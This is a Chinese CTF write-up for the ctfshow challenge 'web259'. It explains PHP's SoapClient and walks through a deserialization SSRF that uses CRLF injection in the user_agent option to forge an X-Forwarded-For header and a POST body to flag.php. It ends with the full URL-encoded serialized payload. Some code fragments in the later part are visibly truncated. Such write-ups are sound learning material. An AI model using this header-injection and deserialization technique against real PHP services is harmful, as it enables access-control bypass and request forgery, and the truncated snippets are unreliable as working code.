首页 > 其他分享 >web259(超详细)

web259(超详细)

时间:2024-05-20 23:20:15浏览次数:27  
标签:127.0 web259 0.1 3A% 详细 php SOAP SoapClient

SoapClient看完之后还不是很懂的话就可以去下面的两个网址去补充一下

SoapClient 是 PHP 中用于与 SOAP(Simple Object Access Protocol)服务进行通信的内置类。SOAP 是一种基于 XML 的协议,用于在分布式环境中交换结构化信息。

以下是关于 SoapClient 类的详细解释:

  1. 创建 SoapClient 对象: 你可以使用 new SoapClient 关键字来创建一个 SoapClient 实例,用于与远程 SOAP 服务通信。

    php
    复制代码
    $client = new SoapClient($wsdl, $options);
    
    • $wsdl:指定 WSDL 文件的 URL 或者 null,表示不使用 WSDL 文件。
    • $options:是一个可选参数,是一个关联数组,用于配置 SoapClient 的行为。
  2. 配置选项: 在 $options 参数中,你可以设置一系列选项来配置 SoapClient 对象的行为。一些常见的选项包括:

    • location:指定服务端点的 URL。
    • uri:指定 SOAP 请求和响应的命名空间。
    • trace:设置为 true 以启用请求和响应的跟踪。
    • exceptions:设置为 true 以在发生错误时抛出异常。
  3. 调用远程方法: 一旦创建了 SoapClient 对象,你可以使用它来调用远程 SOAP 服务的方法。调用方法的方式与调用本地对象的方法类似。

    php
    复制代码
    $result = $client->methodName($param1, $param2, ...);
    

    这里的 methodName 是远程 SOAP 服务中的一个方法名称,$param1$param2 等是要传递给该方法的参数。

  4. 处理响应: 远程方法调用的结果将会作为 PHP 对象或者数组返回,具体取决于 SOAP 服务的返回值。

  5. 错误处理: 如果 SOAP 请求失败,SoapClient 会根据 exceptions 选项的设置抛出异常或者返回 false。你可以通过捕获异常或者检查返回值来处理错误。

总的来说,SoapClient 类提供了一个方便的方式来与远程 SOAP 服务进行通信,使得你可以轻松地调用远程服务的方法并处理返回结果。

想了解更多关于SoapClient可以去下面的两个网址去补充一下

PHP SoapClient:多功能的Web Service调用工具 - 七彩鱼丸 - 博客园 (cnblogs.com)

SoapClient原生类在开发以及安全中利用_soapclient() call()-CSDN博客

[SoapClient反序列化SSRF - 知乎 (zhSoapClient原生类在开发以及安全中利用_soapclient() call()-CSDN博客ihu.com)](https://zhuanlan.zhihu.com/p/80918004)

回归正题

首先在题目上

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

explode() 函数是 PHP 中用于将字符串分割成数组的函数。它接受三个参数:

  1. separator:分隔符,用于指定在哪里进行分割字符串。当在字符串中找到分隔符时,字符串将被分割成多个部分。例如,如果分隔符是空格,则字符串将根据空格进行分割。
  2. string:要分割的字符串。
  3. limit(可选):可选参数,用于限制返回的数组的大小。如果提供了此参数,则将最多分割成 limit 个部分。剩余的部分将被作为数组的最后一个元素。如果省略了此参数或者设为负值,则不进行限制。

下面是一个示例,演示了如何使用 explode() 函数:

php复制代码$str = "apple,banana,orange";

// 使用逗号作为分隔符将字符串分割成数组
$arr = explode(",", $str);

// 输出数组
print_r($arr);

输出:

csharp复制代码Array
(
    [0] => apple
    [1] => banana
    [2] => orange
)

在这个示例中,我们将一个包含水果名称的字符串使用逗号作为分隔符分割成数组。结果数组中包含了每个水果名称作为一个元素。

array_pop()则是删除最后一个取倒数第二个

127.0.0.1 #返回:空

127.0.0.1,127.0.0.2 #返回:127.0.0.1

127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2

题目

image-20240520205957507

它调用了一个不纯在的方法

结合flag.php可以想到利用

SoapClient类去利用_call魔术方法进行伪造

搞个nc在本地试一下(在网上搜一下即可)

环境变量不能用的话

就找到php.ini文件修改里面的

;extension=php_soap.dll

把;去掉即可

之后监听一个9999端口 nc -lp 9999

<?php
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php'));

$client->getFlag();

image-20240520210613773

是一个post请求SOAPAction的值是可控的

但是Content-Type是xml形式的

post请求应为application/x-www-form-urlencoded形式

我们可以想办法让下面的内容失效Content-Type上面即是ua头所以我们尝试去控制ua头

<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

image-20240520212106259

成功了

接下来就好办了

我们可以利用\r\n这两个换行符去构造各种各种的头去凑出我们想要的post请求

当然最后别忘了设置Content-Length的值为13

也就是token=ctfshow的长度

剩下的就会被丢弃

'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua)); $client->getFlag(); ![image-20240520213146604](C:\Users\Ding0\AppData\Roaming\Typora\typora-user-images\image-20240520213146604.png) 最终即是 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua)); print_r(urlencode(serialize($client))); 传入 vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 访问flag.txt即可

标签:127.0,web259,0.1,3A%,详细,php,SOAP,SoapClient
From: https://www.cnblogs.com/dghh/p/18203025

相关文章

  • 跨平台应用开发进阶(八) :uni-app 实现Android原生APP-云打包集成极光推送(JG-JPUSH)详
    跨平台应用开发进阶(八):uni-app实现Android原生APP-云打包集成极光推送(JG-JPUSH)详细教程:https://blog.csdn.net/sunhuaqiang1/article/details/124337987?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171619616916800182772309%2522%252C%2522scm%2522%253A%252......
  • 无法加载文件 C:\Program Files\nodejs\pnpm.ps1,因为在此系统上禁止运行脚本。有关
    无法加载文件C:\ProgramFiles\nodejs\pnpm.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅https:/go.micros  原因:现用执行策略是Restricted(默认设置)解决方法:1、使用管理员的身份打开powershell, win+x2、输入set-executionpolicyremotesigned后按y,问题得......
  • Spring 对于事务上的应用的详细说明
    1.Spring对于事务上的应用的详细说明@目录1.Spring对于事务上的应用的详细说明每博一文案2.事务概述3.引入事务场景3.1第一步:准备数据库表3.2第二步:创建包结构3.3第三步:准备对应数据库映射的Bean类3.4第四步:编写持久层3.5第五步:编写业务层3.6第六步:编写Spring配置......
  • GoF之代理模式(静态代理+动态代理(JDK动态代理+CGLIB动态代理带有一步一步详细步骤))
    1.GoF之代理模式(静态代理+动态代理(JDK动态代理+CGLIB动态代理带有一步一步详细步骤))@目录1.GoF之代理模式(静态代理+动态代理(JDK动态代理+CGLIB动态代理带有一步一步详细步骤))每博一文案2.代理模式的理解3.静态代理4.动态代理4.1JDK动态代理4.1.1JDK动态代理中(获取到目......
  • Spring IoC注解式开发无敌详细(细节丰富)
    1.SpringIoC注解式开发无敌详细(细节丰富)@目录1.SpringIoC注解式开发无敌详细(细节丰富)每博一文案2.注解回顾3.Spring声明Bean的注解3.1Spring注解的使用3.1.1特别的:如果要扫描的是多个包3.1.2Spring选择性实例化Bean对象3.2通过注解实现“Spring的注入”3.2.1@Value......
  • Spring 面向切面编程AOP 详细讲解
    1.Spring面向切面编程AOP详细讲解@目录1.Spring面向切面编程AOP详细讲解每博一文案2.AOP介绍说明2.1AOP的七大术语2.2AOP当中的切点表达式3.使用Spring对AOP的实现使用3.1准备工作3.2Spring基于AspectJ的AOP注解式开发3.2.1实现步骤3.2.2各个通知类型的说明3......
  • 免费解锁Windows 11的HEVC支持:轻松播放4K电影的详细步骤
    Windows11安装完成后,用电影和电视这个应用打开4K或者8K的MP4文件时,提示缺少解码器以下就是本人解决过程第一步:查找HEVC扩展的页面直接浏览器打开:https://apps.microsoft.com/,搜索HEVC扩展,得到以下页面)复制地址栏的网址,如上图红框第二步:获取HEVC扩展的下载链接直接浏览器......
  • WordPress古腾堡编辑器和经典编辑器详细对比,哪个好用?
    WordPress古腾堡编辑器(GutenbergEditor)是WordPress5.0版本引入的默认编辑器,取代了之前的经典编辑器。古腾堡编辑器的设计理念是基于“块”(blocks),让用户能够更直观、灵活地编辑内容。WordPress经典编辑器是WordPress5.0版本之前的默认编辑器,它采用传统的单个文本框界面,用户可以......
  • CommunityToolkit从入门到精通(详细版)
    MVVM基础 Model:负责存储数据,以及对数据的处理。View:负责展示数据,以及与用户的交互。ViewModel:负责将Model的数据在View中显示出来,同时也负责将View中的事件传递给Model。可以说,ViewModel是Model和View之间的桥梁。组件模型(ComponentModel)ObservableObject......
  • python算法:详细图解: 排序:冒泡排序
    一,什么是冒泡排序?1,冒泡排序和快速排序都属于交换排序所谓交换,就是对序列中两个元素根据键值的比较结果来对换这两个记录在序列中的位置交换排序的特点:将键值较大的元素向序列的尾部移动,键值较小的元素向序列的前部移动2,冒泡排序:BubbleSort,是一种最基础的交换排序,冒泡排......